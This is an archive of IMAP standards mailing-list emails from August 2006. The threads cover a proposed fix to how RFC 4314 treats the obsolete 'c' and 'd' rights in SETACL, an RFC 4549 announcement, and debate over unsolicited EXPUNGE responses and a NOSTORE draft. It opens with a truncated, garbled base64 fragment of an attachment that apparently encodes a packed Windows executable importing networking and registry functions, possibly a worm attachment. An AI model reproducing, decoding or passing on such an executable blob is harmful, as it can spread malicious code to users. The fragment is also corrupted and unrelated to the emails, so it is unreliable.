gOvoAfCJB4PHBYnY4tmNvgDAAACLBwnAdEWLXwSNhDAU5QAAAfNQg8cI/5aM5QAAlYoHRwjAdNyJ
+XkHD7
cHR1BHuVdI8q5V/5aQ5QAACcB0B4kDg8ME69j/lpTlAABh6SNE//8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEA
AABAAACAAgAAAGgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAFgAAADY8AAA6AIAAAAAAAAAAAAAAAAA
A
AAAAAAAAAAAAAABAAkEAACAAAAAxPMAACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAACA
qAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAwAAAAPD0AAAiAAAAAAAAAAAAAAABADAA4MAAACgAAAAg
AAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAACAAACAAAAAgIAAgAAAAIAA
gACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAA AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC IiIiIiIiI
iIiIi Ii IgAAAj//// ////////////4AAAIf///////////////eAAACPf/////////////9/gAAA
j/f////////////3/4AAAI//f///////////f/+AAACP//f/////////9///gAAAj///f///////
/3///4AAAI////f///////f///+AAACP//93d3d3d3d3f///gAAAj//3f39/f39/f3f //4AAAI//
d/f39/f39/f3f/+AAACP939/f39/f39/f3f/gAAAh3f39/f39/f39/f3d4AAAI9/f39/f39/f39/
f3+AAACP////////////////AAAACP//////////////8A AAAAC P/////////////wAAAAAACP//
//////////AAAAAAAACP//////////8AAAAAAAAACP/////////wAAAAAAAAAACP////////AAAA
AAAAAAAACP//////8AAAAAAAAAAAAACP/////wAAAAAAAAAAAAAACIiIiIgAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAD////////////////AAAAD
wAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8A
AAAPAAAADwAAAA8AAAAPA
AAADwAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//w
AB//+AA///wAf//+AP/////////////////8jD
AAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICA
AIAAAACA
AIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAACP//////8AAIj/////+AAAj4////+PAACP+P//+P8AAI+PiIiPjwAA
iPf39/f4AACPf39/f38AAAj39/f38AAA AI9/f38AAAAACPf38AAAAAAAiIiAAAAAAA
AAAAAAAAAA
AAAAAAAA //8AAP//AADAAQAAwAEAAM ABAADAAQAAwAEAAMABAADAAQAAwAEAAOADAADwBwAA+A8A
APwfA
AD//wAA//8AAPDEAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAA
AAAAAAAAAAC89QAAjPUAAAAAAAAAAAAAAAAAAMn1AACc9QAAAAAAAAAAAAAAAAAA1vUAAKT1AAAA
AAAAAAAAAAAAAADh9QAArPUAAAAAAAAAAAAAAAAAAOz1AAC09QAAAAAAAAAAAAAAAAAAAAAAAAAA
AAD29QAABPYAABT2AAAAAAAAIvYAAAAAAAAw9gAAAAAAADj2AAAAAAAAOQAAgAAAAABLRVJORUwz
Mi5ETEwAQURWQ VBJMzIuZGxsAE1TVkNSVC 5kbGwAVVNFUjMyLmRsbABXUzJfMzIuZGxsAABMb2Fk
TGli cmFyeUEAAEdldFByb2NBZGRyZXNzAABFeG
l0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAbWVt
c2V0AAB3c3ByaW50ZkEA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA1jONZ/3sFqspi5SPKcER5tYqweEpetr0KTWCaynq4F8dPKdKncNYtO0GjeA24zyG8n/ZJ/JJ
fDprgum97Q1OLfbf
PYzdALZ/WQmRwhkQg5jdAIcT3
QCB+wMfOhQGxHDmNSGY9sUQcFTa+/ocxRJj
5doUJkoe/gF7xWpRydodZiqq8+PRRRFs7VrIGJwEOa4YEcrYkkXPHVVFPqlagSxcVdBNr+zvq0MY
f+0xkj+g2Yp/U14BP6VDthEWoW 0/l86BaJx8/NRpJI6H0Crfh1TIV4f4gDuHRh7ZmKZV3
END602g
neCFT0QGXE9V0/fdL9EeT3vWTotCYNca9Yofi0JRUpXDrgZ6GlgXvhw54yuxV4xT8GXWev8AYr4c
M1E7fBzu FZSB4NRzt
J0pv2OkPksCGfpT2z3lrqjc+ls1GeUzKK0zSbkD3KqG1sN4UVHck3Lew3pC
RMMmyQkYlhWLwwqCGs1NbJk95Yj7crCWcebiLkMMFmzkKhvupXB7tWw9OXgXNeLLtdok3iY
ePWoo
2ir6J9olkVTao94b2ogrEcXZMfqoDpLcR6Kl72iIcdVHSUNjWDdoH1iKvC5HyLf7T
/ygmqSsNTZU
n1RKS8jPQ9qR7EhU2GBUVB+6hY9zt3dU2hjIZAZKoovJ/NCLtNROT9nko6VdRZ6L4Htrl
BUUkYtF
WGLcL3GKLBybU/fw+51n9ppQM2wdTTPqiWd3UcvxHXR8/LFCKURBWWbjQXniH5c6aazGGjzZQdVH
817DFEpBP5At6c999B8O6IM GichfxstHAQYJczfDAA8JBgCXHB9x8
rJpDPzihqDCmYbLBVGZF6hA
hk+Sd0LTVvfSzmO5mXFCoDjRerQTDtsA1wsvJhMO9ZrIJKtSyDGzmteURSqWqF6rEtqE39JF0ytv
HG1E/RyKXuLjfsH9AEm 4/UEix/2SObKY/jrcdxZxoed7c5R3OXY0d9PADneXoIhoE8SJoLl1Kb/Q
6itQSQD97KJj5lB0
1MdQriG0T6ZbgMJixOsQBlwebi3JCYFFnz+eFT3kgVd9uEXyazie0y8HEPM3
0
EjVeQ0z8H/Jw8mNYsNvC8DcVEJt3B0kKcPLhB0YPYHZ3Gr53fmPKl/SUIRlFsjg1NJQqlzSUKTL
35WATRYzn2SEPcSudPKNGptzCfabFrOjXy0ALJs64NYAWLAsm4ddtV8tK0lB BHJeJSv9urFyxiWx
cGHoatvJ3K7
MQNlq28Hhc13h4Plu2qzSsVmOFvTISRYvz6nSsUUdFhs
OrQmRz1EW7yo+VSVmBG3z
XwW6gVgGl4VFnKUcn NClPnYPpR6fvLoLnMdpWYgVhhafi4YTXTRPiqQSqOaey4axIcqZanOJh gQq
0DldphVeoOF+1sdI75ck7FPWx0DoyWxMZ8modIPWk5MhQhbavK37hp+ltwT9rf6RLq265Xxkbo9W
snKe1a3+H4hwNCTsn9zmjZ94aRSADgzYgAem8YB3cLmfcpG5gKsyVUMz eq2zAAkjrA/U9azeJh6s
cmlNvIlO7rwiDju8UTNXiOR72P0z1pR33vxwd32zkHc9p3CIH0A4iHs6r4gfVz49I4rlG1vfD80a
cCaWngeOPYoMX8IGaO
09FyaWPUsLIg==

------=_NextPart_000_0014_6968241E.532E2178--

Date: Thu, 3 Aug 2006 16:41:35 -0700
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

On Thu, 3 Aug 2006, Arnt Gulbrandsen wrote:
> Philip Guenther writes:
>> Hmm, on second thought, how about this change instead: if the client sends 
>> a rights list that contains *ANY* of the new rights (kxte) then the server 
>> MUST ignore both the 'c' and 'd' obsolete rights, if present.
>
> That breaks the case where an old client issues GETACL, sees no 'd', appends 
> one and issues SETACL, doesn't it?

Yes.  Do clients add and remove rights using GETACL+SETACL instead of just 
using the +/- syntax?  If so, then my original proposal would have fewer 
bad side-effects.

Philip Guenther

Date: Thu, 03 Aug 2006 11:35:51 -0400
From: Ken Murchison <[email-masked]>
Organization: Carnegie Mellon University
To: Arnt Gulbrandsen <[email-masked]>
CC: [email-masked], Philip Guenther <[email-masked]>
Subject: Re: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

Arnt Gulbrandsen wrote:
> 
> Thanks. Next:
> 
> If you use imapsync (or any of the 123456789 other tools to do that job) 
> to move a bunch of mailboxes from server A to server B, and on server A, 
> 'c' is 'kx' and a mailbox has 'k' but not 'x', what's most desirable:
> 
>  - on server B, all of 'c' is granted
>  - on server B, if 'k' is in 'c', just 'k' is granted
>  - on server B, if 'k' is not in 'c' (ha ha), all of 'c' is granted

The correct/optimal answer depends entirely on whether the client and/or 
server B is RFC 4314-aware.

We are struggling with this right now at CMU, because we might be 
upgrading servers in our Murder (cluster) to RFC 4314-aware code one at 
a time.

Phil brings up a good point in his original post, but as he points out, 
solving one problem creates another.  So far in our discussions at CMU, 
this seems to be a catch-22.

-- 
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University

Date: Thu, 3 Aug 2006 17:10:17 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Cc: Philip Guenther <[email-masked]>
Sender: [email-masked]

Philip Guenther writes:
> Hmm, on second thought, how about this change instead: if the client 
> sends a rights list that contains *ANY* of the new rights (kxte) then 
> the server MUST ignore both the 'c' and 'd' obsolete rights, if 
> present.

That breaks the case where an old client issues GETACL, sees no 'd', 
appends one and issues SETACL, doesn't it?

Arnt

Date: Thu, 3 Aug 2006 16:32:49 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Cc: Philip Guenther <[email-masked]>
Sender: [email-masked]

Thanks. Next:

If you use imapsync (or any of the 123456789 other tools to do that job) 
to move a bunch of mailboxes from server A to server B, and on server 
A, 'c' is 'kx' and a mailbox has 'k' but not 'x', what's most 
desirable:

  - on server B, all of 'c' is granted
  - on server B, if 'k' is in 'c', just 'k' is granted
  - on server B, if 'k' is not in 'c' (ha ha), all of 'c' is granted

My gut feeling is that the middle alternative is likely to provide 
higher-fidelity migration than the first... so I guess I like your 
proposed change.

Arnt

Date: Thu, 3 Aug 2006 06:51:38 -0700
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

On Thu, 3 Aug 2006, Arnt Gulbrandsen wrote:
> What's the advantage of the language as it stands?

The current language is trivial to implement; this change requires 
slightly more effort when converting a rights list into a bitmask or 
similar.

> Why is it as it is?

It's quite clear that, by themselves, 'd' and 'c' need to expand to their 
constituent rights.  I don't think we really considered the behavior when 
they are presented along with one or more of their constituent rights. 
At least I don't recall it being directly addressed in the discussions.

> And in which case can this make a difference? I can't think of any case where 
> issuing GETACL and then SETACL for the same server would be broken, given 
> that on any one implementation, "d" is an alias for the same right.

I originally hit this with a pair of scripts for backing up and restoring 
mailboxes.  The scripts want to preserve the ACL on the mailbox, so the 
backup script does (the equivalent of) a GETACL on the mailbox and saves 
the authid/rights pairs in the backup.  The restore script would then do 
(the equivalent of) a series of SETACL commands to recreate the ACL. 
That doesn't work when somone has some but not all of the "create" or 
"delete" rights on the mailbox.

For example, there's a shared mailbox on the server to which I have the 
'k' right but not the 'x' right.  (The Sendmail IMAP server maps 'c' to 
'kx' and 'd' to 'te'.)  A GETACL shows this:

3 getacl "Shared Folders/lists"
* ACL "Shared Folders/lists" guenther lrskc anyone lrs
3 OK Completed

If you try to set the mailbox's ACL by simply copying those strings into 
SETACL, you'll give me both the 'k' right and_ 'x' right instead of just 
the 'k' right:

4 create test
4 OK Completed
5 setacl test guenther lrskc
5 OK Completed
6 getacl test
* ACL test guenther lrskxc
6 OK Completed

A 'c' in an ACL or MYRIGHTS response means
 	"at least one 'create' right is (also) present"
A 'c' in a SETACL request means
 	"act like _all_ the 'create' rights are present"

Philip Guenther

Date: Thu, 3 Aug 2006 15:18:45 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Cc: Philip Guenther <[email-masked]>
Sender: [email-masked]

What's the advantage of the language as it stands? Why is it as it is?

And in which case can this make a difference? I can't think of any case 
where issuing GETACL and then SETACL for the same server would be 
broken, given that on any one implementation, "d" is an alias for the 
same right.

If the client issues GETACL on one server and feeds that into SETACL on 
another... hm...

Arnt

Date: Thu, 3 Aug 2006 05:50:15 -0700
From: Philip Guenther <[email-masked]>
To: [email-masked]
Subject: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

Having now worked with my implemention of the RIGHTS extension in 
Sendmail's IMAP server for several months, I believe we made a mistake in 
the interaction of the obsolete rights with SETACL.  How they're returned 
in responses by the server seems fine, but as it stands, a client which 
doesn't understand the RIGHTS extension can't reliably copy ACLs between 
mailboxes and extra work is required of a client that does.

Here's what I think we should have done: in section 2.1.1 of RFC 4314, the 
third paragraph should have read thusly:

 	If a client includes the "d" right in a rights list
 	argument that doesn't contain any of the members of
 	the "delete" right, then it MUST be treated as if the
 	client had included every member of the "delete" right.
 	If any of the "delete" member rights is present in the
 	rights list argument, then the presence or absence of
 	the "d" right MUST NOT have any effect.

...and similar for the seventh paragraph describing "c" and the "create" 
right set.

That change would let clients copy rights lists directly.  As is, if you 
want to give mailbox A the same ACL as mailbox B then you have to remove 
the 'c' and 'd' rights from each rights list in the ACL response...but 
only if the RIGHTS extension is present.

For example, consider the rights list "lrstd", as returned by GETACL or 
MYRIGHTS.  In order to reproduce that set of rights elsewhere, you have to 
pass SETACL the list "lrst".  If you pass "lrstd" then you'll give the 
user the additional right of 'e' and maybe 'x' (depending on the server). 
With the change described above, the server would ignore the 'd' in that 
list because one of the "delete" rights ('t') is also present.

The one case I can think of where this change would have an undesirable 
effect is if a RIGHTS-unaware client tries to add or remove the 'd' or 'c' 
right from an ACL entry by doing a GETACL, adding or removing the 'd' or 
'c' right from what is returned, and then passing that to SETACL. 
However, the ACL extension has always provided a direct way to do that 
using the '+' and '-' prefixes for rights lists; such usage would not be 
affected by the above change.  This command
 	tag SETACL mailbox authid -d
would still remove all the "delete" rights for 'authid' on 'mailbox'.

I've actually changed the the administration tools for the Sendmail mail 
store to follow the behavior above, partly because it was easier than 
fixing several of the scripts built on those tools, but also because it 
lets an unknown number of our customer's scripts keep working without 
change.  I would _like_ to change our IMAP server to do the same; what do 
people think about revising RIGHTS to make this change?

Philip Guenther

Date: Wed, 02 Aug 2006 19:34:34 +0100
From: Alexey Melnikov <[email-masked]>
To: IMAP Mailing List <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: For authors of disconnected IMAP clients: RFC 4549
Sender: [email-masked]

--------------000709050209030909060606
Content-type: text/plain; charset="us-ascii"

I would like to solicit attention of disconnected mail clients (e.g. 
Thunderbird) authors to RFC 4549.

Thanks,
Alexey

--------------000709050209030909060606
Content-type: message/rfc822; name="RFC 4549 on Synchronization Operations for Disconnected IMAP4	Clients"
Content-transfer-encoding: 7bit
Content-Disposition: inline;
 filename="RFC 4549 on Synchronization Operations for Disconnected IMAP4	Clients"

Date: Thu, 15 Jun 2006 17:44:28 -0700
To: [email-masked], [email-masked]
From: [email-masked]
Cc: [email-masked]
Subject: RFC 4549 on Synchronization Operations for Disconnected IMAP4
	Clients

A new Request for Comments is now available in online RFC libraries.

        RFC 4549

        Title:      Synchronization Operations for Disconnected IMAP4 
                    Clients 
        Author:     A. Melnikov, Ed.
        Status:     Informational
        Date:       June 2006
        Mailbox:    [email-masked]
        Pages:      35
        Characters: 75417
        Updates/Obsoletes/SeeAlso:   None

        I-D Tag:    draft-melnikov-imap-disc-06.txt

        URL:        http://www.rfc-editor.org/rfc/rfc4549.txt

This document attempts to address some of the issues involved in building
a disconnected IMAP4 client.  In particular, it deals with the
issues of what might be called the "driver" portion of the synchronization
tool: the portion of the code responsible for issuing the correct set
of IMAP4 commands to synchronize the disconnected client in the way
that is most likely to make the human who uses the disconnected
client happy.

This note describes different strategies that can be used by disconnected
clients and shows how to use IMAP protocol in order to minimize the
time of the synchronization process.

This note also lists IMAP extensions that a server should implement in
order to provide better synchronization facilities to disconnected clients.  This memo provides information for the Internet community.

INFORMATIONAL: This memo provides information for the Internet community. 
It does not specify an Internet standard of any kind. Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to [email-masked].  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to [email-masked].

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to [email-masked] with the message body 

help: ways_to_get_rfcs. For example:

        To: [email-masked]
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to [email-masked].  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.

Submissions for Requests for Comments should be sent to
[email-masked].  Please consult RFC 2223, Instructions to RFC
Authors, for further information.

Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

_______________________________________________
IETF-Announce mailing list
[email-masked]
https://www1.ietf.org/mailman/listinfo/ietf-announce

--------------000709050209030909060606--

Date: Thu, 31 Aug 2006 13:18:30 -0600
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

On Thu, 31 Aug 2006, Arnt Gulbrandsen wrote:
...
> COPY needs blocking, yes. I forgot that one. Any command which changes the 
> message store based on MSNs does. STORE, COPY, anything else?

FETCH with any sort of BODY[<...>] item might set \seen on the wrong 
message.

Philip Guenther

Date: Thu, 31 Aug 2006 14:31:04 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>, Dave Cridland <[email-masked]>
Sender: [email-masked]

Arnt Gulbrandsen writes:
> Sequence number commands that don't change anything at the server are 
> okay. If a client says FETCH 8998 (UID FLAGS) and the meaning of 8998 
> changes, the client learns something it didn't need to know. Not much 
> of a problem. Some waste of bandwidth. Much like unsolicited flag 
> updates, really.

I should elaborate. It's not much of a problem because:

1. The expunge that causes 8998 to change must happen after the client 
sends the FETCH command and before the server parses it. That's 
one-half RTT.

2. It's almost always easy to use UID FETCH to sidestep the problem.

A problem which can be voided easily in almost all cases, depends on a 
narrow time window in the rest of the cases, and whose effect is a 
modest waste of bandwidth: I am not very concerned.

Arnt

Date: Thu, 31 Aug 2006 14:21:15 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>, Dave Cridland <[email-masked]>
Sender: [email-masked]

Mark Crispin writes:
> The NOSTORE proposal is also a big switch.  Because of the residual 
> "whoops", I don't think that a NOSTORE client can pipeline (and that 
> COPY also needs to be blocked).

COPY needs blocking, yes. I forgot that one. Any command which changes 
the message store based on MSNs does. STORE, COPY, anything else?

> Do you have a case for a client to pipeline *AND* allow EXPUNGE during 
> any command (including sequence number commands)?  If so, probably 
> neither NOSTORE nor my proposed alternative are satisfactory.

Sequence number commands that don't change anything at the server are 
okay. If a client says FETCH 8998 (UID FLAGS) and the meaning of 8998 
changes, the client learns something it didn't need to know. Not much 
of a problem. Some waste of bandwidth. Much like unsolicited flag 
updates, really.

Arnt

Date: Thu, 31 Aug 2006 14:16:03 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>
Sender: [email-masked]

Mark Crispin writes:
> What, precisely, is meant by "at once"?

Without having to wait for any other condition to become true. Is there 
any other interpretation?

> If the issue is to get notification of events when no command is in 
> progress (that is, to avoid the need for a periodic NOOP), doesn't 
> IDLE address it?

IDLE is too complicated for its task, IMO. See my other message.

> Note that the deadlock problem alluded by RFC 3501 section 5.3 is 
> still very much a consideration!

If a client explicitly asks for it, I think you may assume that the 
client will read its input. The rest is just another DoS, like 
infinitely long commands and infinite series of noops.

> If the issue is to get EXPUNGE responses during "prohibited" commands, 
> there is an alternative to NOSTORE.  I think that this alternative 
> may be more generally useful.
>
> This alternative is to declare that the client will not pipeline commands.
> ...
> In the many years since that time, I have seen little (none, actually) 
> use of pipelining.  The only reason for "prohibited" commands for 
> untagged EXPUNGE is to prevent ambiguity during pipelining.
>
> The individual who insisted that "IMAP will die" unless pipelining was 
> present is long gone from the IMAP community.  As far as I can tell, 
> we've just been maintaining the legacy.

UW-imapd doesn't log anything that would permit you to notice, does it? 
Pipelining is used, I can see that in my logfiles. For example, mutt 
sends concurrent STORE commands (STORE ... \deleted + STORE ... \seen + 
STORE ... \answered) when you hit the $ or q keys. Lots of clients 
batch up session establishment commands, although I rembember any name 
names right now. Things like LOGIN+SELECT INBOX or SELECT INBOX + UID 
FETCH 1:* (FLAGS RFC822.HEADER). I also know I've seen STORE ... 
\Deleted + EXPUNGE pipelined - I rememer my revulsion vividly. Oh, and 
I've seen n*STATUS.

> This alternative would still involve a big switch that has to be 
> thrown by the client.  Someone out there probably does want/use 
> pipelining and possibly even has a server that allows out-of-order 
> command execution.

The client I use to send this message uses pipelining, and the server 
does concurrent command execution ;)

> However, I think that this would be rather easy for most server 
> implementors to do.  My server has to go to effort not to send 
> EXPUNGE responses during "prohibited" commands, so it would not mind 
> at all if it was told "you don't have to do that for me" by a client.

Right.

I'll do a refined draft soon.

Arnt

Date: Thu, 31 Aug 2006 12:06:43 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Dave Cridland <[email-masked]>
Sender: [email-masked]

If you search the imap@ archives, you can find an old posting where I 
say much the same ;) Not ESEARCH of course.

I think I use divisions by eight, never having heard of Messrs. Newton 
and Raphson.

Arnt

Date: Thu, 31 Aug 2006 10:52:57 +0100
Subject: Re: sending EXPUNGE at any time
From: Dave Cridland <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
Cc: <[email-masked]>
Sender: [email-masked]

On Wed Aug 30 12:57:29 2006, Arnt Gulbrandsen wrote:
> A thread last week annoyed me sufficiently to look closely at 
> anytime expunges. After a bit of thinking, I wrote 
> draft-gulbrandsen-imap-nostore-00.txt. Comments invited, if 
> possible without calling me or anyone else cretin. It really isn't 
> called for.

Something I haven't mentioned is the UID mapping resynchronization 
using UID SEARCH. This is essentially what my own client does, but I 
found a few refinements:

1) If you take into account the values of UIDNEXT and the number of 
witnessed EXPUNGEs, then it's possible to detirmine how many messages 
have been expunged, and more importantly, whether none have. This 
allows the client to know that its mapping is correct as far as it 
goes, and use a UID SEARCH across the range of highest-known-MSN:* to 
complete the mapping.

2) Using this kind of method, there's no need to maintain a complete 
mapping - you can get chunks on demand. I use chunks of approximately 
500 MSNs, but fetch them three at a time with a basic UID SEARCH. 
Given an unknown MSN, I use a successive approximation technique 
(Newton-Raphson style) to find the UID, based on the assumption that 
expunges are evenly distributed within a range. A mailbox with no 
expunged messages requires one hit for this, and it happens that very 
large mailboxes often have no expunges, being things like mailing 
list archives.

3) ESEARCH is extremely handy for reducing the data transfer cost of 
these operations, because it uses set-syntax. Merely adding RETURN () 
suffices for this. Polymer happens to also adapt the size of the 
chunks mentioned in (2) according to the predicted average size of 
these chunks.

4) Typically, EXPUNGEs happen toward the end of the mailbox. As such, 
you can generally drop a round-trip by assuming this is the case, and 
fetching the last chunk. With ESEARCH, this works out as less data 
transfer cost too, typically.

5) For very large mailboxes, the first SEARCH in your example may be 
too large a command. I avoid this by checking 50 chunks at a time in 
reverse. Typically this finds the expunged message, because they're 
usually recent.

Hope this is useful (to you, or someone else).

Dave.
-- 
Dave Cridland - mailto:[email-masked] - xmpp:[email-masked]
  - acap://acap.dave.cridland.net/byowner/user/dwd/bookmarks/
  - http://dave.cridland.net/
Infotrope Polymer - ACAP, IMAP, ESMTP, and Lemonade

Date: Thu, 31 Aug 2006 10:05:35 +0100
From: Alexey Melnikov <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Alexey Melnikov wrote:

>> If SELECT doesn't have a REPORTEXPUNGES, then I think this document 
>> needs to rely on CONDSTORE. FETCH ... (CHANGEDSINCE x REPORTEXPUNGES) 
>> makes sense and helps update a cache, but without CONDSTORE I don't 
>> see the improvement. The command FETCH 1:* UID (REPORTEXPUNGES) is 
>> not an improvement over FETCH 1:* UID or UID SEARCH 1:*.
>
> Yes, it is not an improvement and it is also explicitly prohibited ;-).

Correction: it is not prohibited, but I still agree that it is not an 
improvement over UID FETCH 1:* or UID SEARCH 1:*.

Date: Thu, 31 Aug 2006 10:59:38 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>, Dave Cridland <[email-masked]>
Sender: [email-masked]

(NOSTORE isn't new functionality, it's IDLE-done-better. I've had 
another think this morning, and will propose 
IDLE-done-better-twice-over shortly.)

Dave Cridland writes:
> I strongly suspect that "EXPUNGEs at any time" aren't useful, and if 
> they were, then pipelining IDLE and DONE and being a bit picky over 
> which commands to use should get a client 99% of the way there on 
> existing (and well deployed) extensions.

I've written a client which does this, and I agree that it gets me 99% 
of the way there. On the other hand, I recently learned that at my 
previous employer, IDLE has spent six years on the todo list, which 
makes me think that getting 99% of the way isn't something one 
implements while sitting in a boring meeting.

NOSTORE is simpler and cleaner than IDLE. Look at this:

C: a IDLE
(state 1)
S: + go on
(state 2)
S: * 9999 EXISTS
(still state 2)
C: DONE
(state 3)
S: a OK no longer idle
(state 0)
C: b FETCH 9999 BODY.PEEK[HEADER.FIE....

In state 0, all commands are valid (except command-nonauth of course). 
In state 1, none are, and the client cannot even send DONE. In state 2, 
none are, but the client can send DONE. In state 3, commands which use 
MSNs aren't valid, and the SEARCH command isn't, and the rest are.

If you treat IMAP as RPC and don't pipeline at all, you can ignore 
states 1 and 3. If you're a bit cavalier, you can disregard state 1 
(but I suspect our server may bite you sometimes, depending on what you 
pipeline). In state 3, you can't send the intuitive FETCH command, but 
you can send 'UID FETCH x:1 ...', where x is one greater than the 
previous largest UID you've seen.

All this is really a little too much. The complexity of the solution is 
out of proportion to the inherent complexity of the problem. IMNSHO.

I'll answer more mail later today, at least I hope so. (My infant 
daughter is a bit under the weather. So am I, for that matter, but I 
don't really have the time to notice that. ;)

Arnt

Date: Wed, 30 Aug 2006 16:39:25 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'IMAP Extensions WG'" <[email-masked]>
Sender: [email-masked]

Consider the following sequence of events.  I have in my mailbox 3 messages,
UIDs 4,5,6
So if a client selects the mailbox and issues
C: 1 uid fetch 1:* flags 
The server will respond
S: * 1 FETCH (FLAGS () UID 4)
S: * 2 FETCH (FLAGS (\Deleted) UID 5)
S: * 3 FETCH (FLAGS () UID 6)
S: 1 OK Completed

If the client issues
C: 1 uid fetch 1:* flags (repordexpunges)
The server will respond
S: * 1 FETCH (FLAGS () UID 4)
S: * 2 FETCH (FLAGS (\Deleted) UID 5)
S: * 3 FETCH (FLAGS () UID 6)
S: * EXPUNGED 1:3
S: 1 OK Completed

